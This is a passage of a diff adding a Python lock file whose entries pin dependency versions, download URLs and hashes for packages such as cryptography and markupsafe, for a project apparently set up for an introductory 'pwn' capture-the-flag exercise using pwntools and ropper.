+ { url = "https://files.pythonhosted.org/packages/ee/8a/1a5e33b73e0d9287274f899d967907cd0bf9c343e651755d9307e0dbf2b3/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cddf7bd982eaa998934a91f69d182aec997c6c468898efe6679af88283b498d3", size = 143790, upload-time = "2025-05-02T08:32:35.768Z" },
+ { url = "https://files.pythonhosted.org/packages/66/52/59521f1d8e6ab1482164fa21409c5ef44da3e9f653c13ba71becdd98dec3/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fcbe676a55d7445b22c10967bceaaf0ee69407fbe0ece4d032b6eb8d4565982a", size = 153924, upload-time = "2025-05-02T08:32:37.284Z" },
+ { url = "https://files.pythonhosted.org/packages/86/2d/fb55fdf41964ec782febbf33cb64be480a6b8f16ded2dbe8db27a405c09f/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d41c4d287cfc69060fa91cae9683eacffad989f1a10811995fa309df656ec214", size = 146626, upload-time = "2025-05-02T08:32:38.803Z" },
+ { url = "https://files.pythonhosted.org/packages/8c/73/6ede2ec59bce19b3edf4209d70004253ec5f4e319f9a2e3f2f15601ed5f7/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e594135de17ab3866138f496755f302b72157d115086d100c3f19370839dd3a", size = 148567, upload-time = "2025-05-02T08:32:40.251Z" },
+ { url = "https://files.pythonhosted.org/packages/09/14/957d03c6dc343c04904530b6bef4e5efae5ec7d7990a7cbb868e4595ee30/charset_normalizer-3.4.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cf713fe9a71ef6fd5adf7a79670135081cd4431c2943864757f0fa3a65b1fafd", size = 150957, upload-time = "2025-05-02T08:32:41.705Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/c8/8174d0e5c10ccebdcb1b53cc959591c4c722a3ad92461a273e86b9f5a302/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a370b3e078e418187da8c3674eddb9d983ec09445c99a3a263c2011993522981", size = 145408, upload-time = "2025-05-02T08:32:43.709Z" },
+ { url = "https://files.pythonhosted.org/packages/58/aa/8904b84bc8084ac19dc52feb4f5952c6df03ffb460a887b42615ee1382e8/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a955b438e62efdf7e0b7b52a64dc5c3396e2634baa62471768a64bc2adb73d5c", size = 153399, upload-time = "2025-05-02T08:32:46.197Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/26/89ee1f0e264d201cb65cf054aca6038c03b1a0c6b4ae998070392a3ce605/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:7222ffd5e4de8e57e03ce2cef95a4c43c98fcb72ad86909abdfc2c17d227fc1b", size = 156815, upload-time = "2025-05-02T08:32:48.105Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/07/68e95b4b345bad3dbbd3a8681737b4338ff2c9df29856a6d6d23ac4c73cb/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:bee093bf902e1d8fc0ac143c88902c3dfc8941f7ea1d6a8dd2bcb786d33db03d", size = 154537, upload-time = "2025-05-02T08:32:49.719Z" },
+ { url = "https://files.pythonhosted.org/packages/77/1a/5eefc0ce04affb98af07bc05f3bac9094513c0e23b0562d64af46a06aae4/charset_normalizer-3.4.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:dedb8adb91d11846ee08bec4c8236c8549ac721c245678282dcb06b221aab59f", size = 149565, upload-time = "2025-05-02T08:32:51.404Z" },
+ { url = "https://files.pythonhosted.org/packages/37/a0/2410e5e6032a174c95e0806b1a6585eb21e12f445ebe239fac441995226a/charset_normalizer-3.4.2-cp312-cp312-win32.whl", hash = "sha256:db4c7bf0e07fc3b7d89ac2a5880a6a8062056801b83ff56d8464b70f65482b6c", size = 98357, upload-time = "2025-05-02T08:32:53.079Z" },
+ { url = "https://files.pythonhosted.org/packages/6c/4f/c02d5c493967af3eda9c771ad4d2bbc8df6f99ddbeb37ceea6e8716a32bc/charset_normalizer-3.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:5a9979887252a82fefd3d3ed2a8e3b937a7a809f65dcb1e068b090e165bbe99e", size = 105776, upload-time = "2025-05-02T08:32:54.573Z" },
+ { url = "https://files.pythonhosted.org/packages/ea/12/a93df3366ed32db1d907d7593a94f1fe6293903e3e92967bebd6950ed12c/charset_normalizer-3.4.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:926ca93accd5d36ccdabd803392ddc3e03e6d4cd1cf17deff3b989ab8e9dbcf0", size = 199622, upload-time = "2025-05-02T08:32:56.363Z" },
+ { url = "https://files.pythonhosted.org/packages/04/93/bf204e6f344c39d9937d3c13c8cd5bbfc266472e51fc8c07cb7f64fcd2de/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eba9904b0f38a143592d9fc0e19e2df0fa2e41c3c3745554761c5f6447eedabf", size = 143435, upload-time = "2025-05-02T08:32:58.551Z" },
+ { url = "https://files.pythonhosted.org/packages/22/2a/ea8a2095b0bafa6c5b5a55ffdc2f924455233ee7b91c69b7edfcc9e02284/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3fddb7e2c84ac87ac3a947cb4e66d143ca5863ef48e4a5ecb83bd48619e4634e", size = 153653, upload-time = "2025-05-02T08:33:00.342Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/57/1b090ff183d13cef485dfbe272e2fe57622a76694061353c59da52c9a659/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98f862da73774290f251b9df8d11161b6cf25b599a66baf087c1ffe340e9bfd1", size = 146231, upload-time = "2025-05-02T08:33:02.081Z" },
+ { url = "https://files.pythonhosted.org/packages/e2/28/ffc026b26f441fc67bd21ab7f03b313ab3fe46714a14b516f931abe1a2d8/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c9379d65defcab82d07b2a9dfbfc2e95bc8fe0ebb1b176a3190230a3ef0e07c", size = 148243, upload-time = "2025-05-02T08:33:04.063Z" },
+ { url = "https://files.pythonhosted.org/packages/c0/0f/9abe9bd191629c33e69e47c6ef45ef99773320e9ad8e9cb08b8ab4a8d4cb/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e635b87f01ebc977342e2697d05b56632f5f879a4f15955dfe8cef2448b51691", size = 150442, upload-time = "2025-05-02T08:33:06.418Z" },
+ { url = "https://files.pythonhosted.org/packages/67/7c/a123bbcedca91d5916c056407f89a7f5e8fdfce12ba825d7d6b9954a1a3c/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1c95a1e2902a8b722868587c0e1184ad5c55631de5afc0eb96bc4b0d738092c0", size = 145147, upload-time = "2025-05-02T08:33:08.183Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/fe/1ac556fa4899d967b83e9893788e86b6af4d83e4726511eaaad035e36595/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ef8de666d6179b009dce7bcb2ad4c4a779f113f12caf8dc77f0162c29d20490b", size = 153057, upload-time = "2025-05-02T08:33:09.986Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/ff/acfc0b0a70b19e3e54febdd5301a98b72fa07635e56f24f60502e954c461/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:32fc0341d72e0f73f80acb0a2c94216bd704f4f0bce10aedea38f30502b271ff", size = 156454, upload-time = "2025-05-02T08:33:11.814Z" },
+ { url = "https://files.pythonhosted.org/packages/92/08/95b458ce9c740d0645feb0e96cea1f5ec946ea9c580a94adfe0b617f3573/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:289200a18fa698949d2b39c671c2cc7a24d44096784e76614899a7ccf2574b7b", size = 154174, upload-time = "2025-05-02T08:33:13.707Z" },
+ { url = "https://files.pythonhosted.org/packages/78/be/8392efc43487ac051eee6c36d5fbd63032d78f7728cb37aebcc98191f1ff/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4a476b06fbcf359ad25d34a057b7219281286ae2477cc5ff5e3f70a246971148", size = 149166, upload-time = "2025-05-02T08:33:15.458Z" },
+ { url = "https://files.pythonhosted.org/packages/44/96/392abd49b094d30b91d9fbda6a69519e95802250b777841cf3bda8fe136c/charset_normalizer-3.4.2-cp313-cp313-win32.whl", hash = "sha256:aaeeb6a479c7667fbe1099af9617c83aaca22182d6cf8c53966491a0f1b7ffb7", size = 98064, upload-time = "2025-05-02T08:33:17.06Z" },
+ { url = "https://files.pythonhosted.org/packages/e9/b0/0200da600134e001d91851ddc797809e2fe0ea72de90e09bec5a2fbdaccb/charset_normalizer-3.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:aa6af9e7d59f9c12b33ae4e9450619cf2488e2bbe9b44030905877f0b2324980", size = 105641, upload-time = "2025-05-02T08:33:18.753Z" },
+ { url = "https://files.pythonhosted.org/packages/20/94/c5790835a017658cbfabd07f3bfb549140c3ac458cfc196323996b10095a/charset_normalizer-3.4.2-py3-none-any.whl", hash = "sha256:7f56930ab0abd1c45cd15be65cc741c28b1c9a34876ce8c17a2fa107810c0af0", size = 52626, upload-time = "2025-05-02T08:34:40.053Z" },
+]
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
+]
+
+[[package]]
+name = "colored-traceback"
+version = "0.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "colorama", marker = "os_name == 'nt'" },
+ { name = "pygments" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/07/80/afcf567031ab8565f8f8d2bd14b007d313ea3258e50394e85b10a405099c/colored-traceback-0.4.2.tar.gz", hash = "sha256:ecbc8e41f0712ea81931d7cd436b8beb9f3eff1595d2498f183e0ef69b56fe84", size = 4707, upload-time = "2024-07-13T19:49:37.027Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/da/28/05e035e2d95dc469408bcb1edfbee5d4fcfe3b0a5fa3701c5f1f10c77c49/colored_traceback-0.4.2-py3-none-any.whl", hash = "sha256:8ad752a5b3c4e50bccd99d4a2d01e16d80926b519e07a85437ecbf8b4f8ce884", size = 5502, upload-time = "2024-07-13T19:49:35.486Z" },
+]
+
+[[package]]
+name = "cryptography"
+version = "45.0.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cffi", marker = "platform_python_implementation != 'PyPy'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/fe/c8/a2a376a8711c1e11708b9c9972e0c3223f5fc682552c82d8db844393d6ce/cryptography-45.0.4.tar.gz", hash = "sha256:7405ade85c83c37682c8fe65554759800a4a8c54b2d96e0f8ad114d31b808d57", size = 744890, upload-time = "2025-06-10T00:03:51.297Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/cc/1c/92637793de053832523b410dbe016d3f5c11b41d0cf6eef8787aabb51d41/cryptography-45.0.4-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:425a9a6ac2823ee6e46a76a21a4e8342d8fa5c01e08b823c1f19a8b74f096069", size = 7055712, upload-time = "2025-06-10T00:02:38.826Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/14/93b69f2af9ba832ad6618a03f8a034a5851dc9a3314336a3d71c252467e1/cryptography-45.0.4-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:680806cf63baa0039b920f4976f5f31b10e772de42f16310a6839d9f21a26b0d", size = 4205335, upload-time = "2025-06-10T00:02:41.64Z" },
+ { url = "https://files.pythonhosted.org/packages/67/30/fae1000228634bf0b647fca80403db5ca9e3933b91dd060570689f0bd0f7/cryptography-45.0.4-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4ca0f52170e821bc8da6fc0cc565b7bb8ff8d90d36b5e9fdd68e8a86bdf72036", size = 4431487, upload-time = "2025-06-10T00:02:43.696Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/5a/7dffcf8cdf0cb3c2430de7404b327e3db64735747d641fc492539978caeb/cryptography-45.0.4-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f3fe7a5ae34d5a414957cc7f457e2b92076e72938423ac64d215722f6cf49a9e", size = 4208922, upload-time = "2025-06-10T00:02:45.334Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/f3/528729726eb6c3060fa3637253430547fbaaea95ab0535ea41baa4a6fbd8/cryptography-45.0.4-cp311-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:25eb4d4d3e54595dc8adebc6bbd5623588991d86591a78c2548ffb64797341e2", size = 3900433, upload-time = "2025-06-10T00:02:47.359Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/4a/67ba2e40f619e04d83c32f7e1d484c1538c0800a17c56a22ff07d092ccc1/cryptography-45.0.4-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:ce1678a2ccbe696cf3af15a75bb72ee008d7ff183c9228592ede9db467e64f1b", size = 4464163, upload-time = "2025-06-10T00:02:49.412Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/9a/b4d5aa83661483ac372464809c4b49b5022dbfe36b12fe9e323ca8512420/cryptography-45.0.4-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:49fe9155ab32721b9122975e168a6760d8ce4cffe423bcd7ca269ba41b5dfac1", size = 4208687, upload-time = "2025-06-10T00:02:50.976Z" },
+ { url = "https://files.pythonhosted.org/packages/db/b7/a84bdcd19d9c02ec5807f2ec2d1456fd8451592c5ee353816c09250e3561/cryptography-45.0.4-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:2882338b2a6e0bd337052e8b9007ced85c637da19ef9ecaf437744495c8c2999", size = 4463623, upload-time = "2025-06-10T00:02:52.542Z" },
+ { url = "https://files.pythonhosted.org/packages/d8/84/69707d502d4d905021cac3fb59a316344e9f078b1da7fb43ecde5e10840a/cryptography-45.0.4-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:23b9c3ea30c3ed4db59e7b9619272e94891f8a3a5591d0b656a7582631ccf750", size = 4332447, upload-time = "2025-06-10T00:02:54.63Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/ee/d4f2ab688e057e90ded24384e34838086a9b09963389a5ba6854b5876598/cryptography-45.0.4-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b0a97c927497e3bc36b33987abb99bf17a9a175a19af38a892dc4bbb844d7ee2", size = 4572830, upload-time = "2025-06-10T00:02:56.689Z" },
+ { url = "https://files.pythonhosted.org/packages/70/d4/994773a261d7ff98034f72c0e8251fe2755eac45e2265db4c866c1c6829c/cryptography-45.0.4-cp311-abi3-win32.whl", hash = "sha256:e00a6c10a5c53979d6242f123c0a97cff9f3abed7f064fc412c36dc521b5f257", size = 2932769, upload-time = "2025-06-10T00:02:58.467Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/42/c80bd0b67e9b769b364963b5252b17778a397cefdd36fa9aa4a5f34c599a/cryptography-45.0.4-cp311-abi3-win_amd64.whl", hash = "sha256:817ee05c6c9f7a69a16200f0c90ab26d23a87701e2a284bd15156783e46dbcc8", size = 3410441, upload-time = "2025-06-10T00:03:00.14Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/0b/2488c89f3a30bc821c9d96eeacfcab6ff3accc08a9601ba03339c0fd05e5/cryptography-45.0.4-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:964bcc28d867e0f5491a564b7debb3ffdd8717928d315d12e0d7defa9e43b723", size = 7031836, upload-time = "2025-06-10T00:03:01.726Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/51/8c584ed426093aac257462ae62d26ad61ef1cbf5b58d8b67e6e13c39960e/cryptography-45.0.4-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6a5bf57554e80f75a7db3d4b1dacaa2764611ae166ab42ea9a72bcdb5d577637", size = 4195746, upload-time = "2025-06-10T00:03:03.94Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/7d/4b0ca4d7af95a704eef2f8f80a8199ed236aaf185d55385ae1d1610c03c2/cryptography-45.0.4-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:46cf7088bf91bdc9b26f9c55636492c1cce3e7aaf8041bbf0243f5e5325cfb2d", size = 4424456, upload-time = "2025-06-10T00:03:05.589Z" },
+ { url = "https://files.pythonhosted.org/packages/1d/45/5fabacbc6e76ff056f84d9f60eeac18819badf0cefc1b6612ee03d4ab678/cryptography-45.0.4-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:7bedbe4cc930fa4b100fc845ea1ea5788fcd7ae9562e669989c11618ae8d76ee", size = 4198495, upload-time = "2025-06-10T00:03:09.172Z" },
+ { url = "https://files.pythonhosted.org/packages/55/b7/ffc9945b290eb0a5d4dab9b7636706e3b5b92f14ee5d9d4449409d010d54/cryptography-45.0.4-cp37-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:eaa3e28ea2235b33220b949c5a0d6cf79baa80eab2eb5607ca8ab7525331b9ff", size = 3885540, upload-time = "2025-06-10T00:03:10.835Z" },
+ { url = "https://files.pythonhosted.org/packages/7f/e3/57b010282346980475e77d414080acdcb3dab9a0be63071efc2041a2c6bd/cryptography-45.0.4-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:7ef2dde4fa9408475038fc9aadfc1fb2676b174e68356359632e980c661ec8f6", size = 4452052, upload-time = "2025-06-10T00:03:12.448Z" },
+ { url = "https://files.pythonhosted.org/packages/37/e6/ddc4ac2558bf2ef517a358df26f45bc774a99bf4653e7ee34b5e749c03e3/cryptography-45.0.4-cp37-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:6a3511ae33f09094185d111160fd192c67aa0a2a8d19b54d36e4c78f651dc5ad", size = 4198024, upload-time = "2025-06-10T00:03:13.976Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/c0/85fa358ddb063ec588aed4a6ea1df57dc3e3bc1712d87c8fa162d02a65fc/cryptography-45.0.4-cp37-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:06509dc70dd71fa56eaa138336244e2fbaf2ac164fc9b5e66828fccfd2b680d6", size = 4451442, upload-time = "2025-06-10T00:03:16.248Z" },
+ { url = "https://files.pythonhosted.org/packages/33/67/362d6ec1492596e73da24e669a7fbbaeb1c428d6bf49a29f7a12acffd5dc/cryptography-45.0.4-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:5f31e6b0a5a253f6aa49be67279be4a7e5a4ef259a9f33c69f7d1b1191939872", size = 4325038, upload-time = "2025-06-10T00:03:18.4Z" },
+ { url = "https://files.pythonhosted.org/packages/53/75/82a14bf047a96a1b13ebb47fb9811c4f73096cfa2e2b17c86879687f9027/cryptography-45.0.4-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:944e9ccf67a9594137f942d5b52c8d238b1b4e46c7a0c2891b7ae6e01e7c80a4", size = 4560964, upload-time = "2025-06-10T00:03:20.06Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/37/1a3cba4c5a468ebf9b95523a5ef5651244693dc712001e276682c278fc00/cryptography-45.0.4-cp37-abi3-win32.whl", hash = "sha256:c22fe01e53dc65edd1945a2e6f0015e887f84ced233acecb64b4daadb32f5c97", size = 2924557, upload-time = "2025-06-10T00:03:22.563Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/4b/3256759723b7e66380397d958ca07c59cfc3fb5c794fb5516758afd05d41/cryptography-45.0.4-cp37-abi3-win_amd64.whl", hash = "sha256:627ba1bc94f6adf0b0a2e35d87020285ead22d9f648c7e75bb64f367375f3b22", size = 3395508, upload-time = "2025-06-10T00:03:24.586Z" },
+]
+
+[[package]]
+name = "cscg-2025-intro-pwn"
+version = "0.1.0"
+source = { virtual = "." }
+dependencies = [
+ { name = "pwntools" },
+ { name = "ropper" },
+]
+
+[package.metadata]
+requires-dist = [
+ { name = "pwntools", specifier = ">=4.14.1" },
+ { name = "ropper", specifier = ">=1.13.13" },
+]
+
+[[package]]
+name = "filebytes"
+version = "0.10.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/01/44/4ea92a74ca7d7940a29d6c437f62a91fd05d43bfa04fc8306b5dc541d01d/filebytes-0.10.2.tar.gz", hash = "sha256:764202f74d79e7587f04b6ad46f7c50485d8f32c4aeddd02200f1651a0892741", size = 20358, upload-time = "2020-02-09T22:38:36.711Z" }
+
+[[package]]
+name = "idna"
+version = "3.10"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f1/70/7703c29685631f5a7590aa73f1f1d3fa9a380e654b86af429e0934a32f7d/idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9", size = 190490, upload-time = "2024-09-15T18:07:39.745Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/76/c6/c88e154df9c4e1a2a66ccf0005a88dfb2650c1dffb6f5ce603dfbd452ce3/idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3", size = 70442, upload-time = "2024-09-15T18:07:37.964Z" },
+]
+
+[[package]]
+name = "intervaltree"
+version = "3.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "sortedcontainers" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/50/fb/396d568039d21344639db96d940d40eb62befe704ef849b27949ded5c3bb/intervaltree-3.1.0.tar.gz", hash = "sha256:902b1b88936918f9b2a19e0e5eb7ccb430ae45cde4f39ea4b36932920d33952d", size = 32861, upload-time = "2020-08-03T08:01:11.392Z" }
+
+[[package]]
+name = "mako"
+version = "1.3.10"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "markupsafe" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/9e/38/bd5b78a920a64d708fe6bc8e0a2c075e1389d53bef8413725c63ba041535/mako-1.3.10.tar.gz", hash = "sha256:99579a6f39583fa7e5630a28c3c1f440e4e97a414b80372649c0ce338da2ea28", size = 392474, upload-time = "2025-04-10T12:44:31.16Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/87/fb/99f81ac72ae23375f22b7afdb7642aba97c00a713c217124420147681a2f/mako-1.3.10-py3-none-any.whl", hash = "sha256:baef24a52fc4fc514a0887ac600f9f1cff3d82c61d4d700a1fa84d597b88db59", size = 78509, upload-time = "2025-04-10T12:50:53.297Z" },
+]
+
+[[package]]
+name = "markupsafe"
+version = "3.0.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0", size = 20537, upload-time = "2024-10-18T15:21:54.129Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/22/09/d1f21434c97fc42f09d290cbb6350d44eb12f09cc62c9476effdb33a18aa/MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf", size = 14274, upload-time = "2024-10-18T15:21:13.777Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/b0/18f76bba336fa5aecf79d45dcd6c806c280ec44538b3c13671d49099fdd0/MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225", size = 12348, upload-time = "2024-10-18T15:21:14.822Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/25/dd5c0f6ac1311e9b40f4af06c78efde0f3b5cbf02502f8ef9501294c425b/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028", size = 24149, upload-time = "2024-10-18T15:21:15.642Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/f0/89e7aadfb3749d0f52234a0c8c7867877876e0a20b60e2188e9850794c17/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8", size = 23118, upload-time = "2024-10-18T15:21:17.133Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/da/f2eeb64c723f5e3777bc081da884b414671982008c47dcc1873d81f625b6/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c", size = 22993, upload-time = "2024-10-18T15:21:18.064Z" },
+ { url = "https://files.pythonhosted.org/packages/da/0e/1f32af846df486dce7c227fe0f2398dc7e2e51d4a370508281f3c1c5cddc/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557", size = 24178, upload-time = "2024-10-18T15:21:18.859Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/f6/bb3ca0532de8086cbff5f06d137064c8410d10779c4c127e0e47d17c0b71/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22", size = 23319, upload-time = "2024-10-18T15:21:19.671Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/82/8be4c96ffee03c5b4a034e60a31294daf481e12c7c43ab8e34a1453ee48b/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48", size = 23352, upload-time = "2024-10-18T15:21:20.971Z" },
+ { url = "https://files.pythonhosted.org/packages/51/ae/97827349d3fcffee7e184bdf7f41cd6b88d9919c80f0263ba7acd1bbcb18/MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30", size = 15097, upload-time = "2024-10-18T15:21:22.646Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/80/a61f99dc3a936413c3ee4e1eecac96c0da5ed07ad56fd975f1a9da5bc630/MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87", size = 15601, upload-time = "2024-10-18T15:21:23.499Z" },
+ { url = "https://files.pythonhosted.org/packages/83/0e/67eb10a7ecc77a0c2bbe2b0235765b98d164d81600746914bebada795e97/MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd", size = 14274, upload-time = "2024-10-18T15:21:24.577Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/6d/9409f3684d3335375d04e5f05744dfe7e9f120062c9857df4ab490a1031a/MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430", size = 12352, upload-time = "2024-10-18T15:21:25.382Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/f5/6eadfcd3885ea85fe2a7c128315cc1bb7241e1987443d78c8fe712d03091/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094", size = 24122, upload-time = "2024-10-18T15:21:26.199Z" },
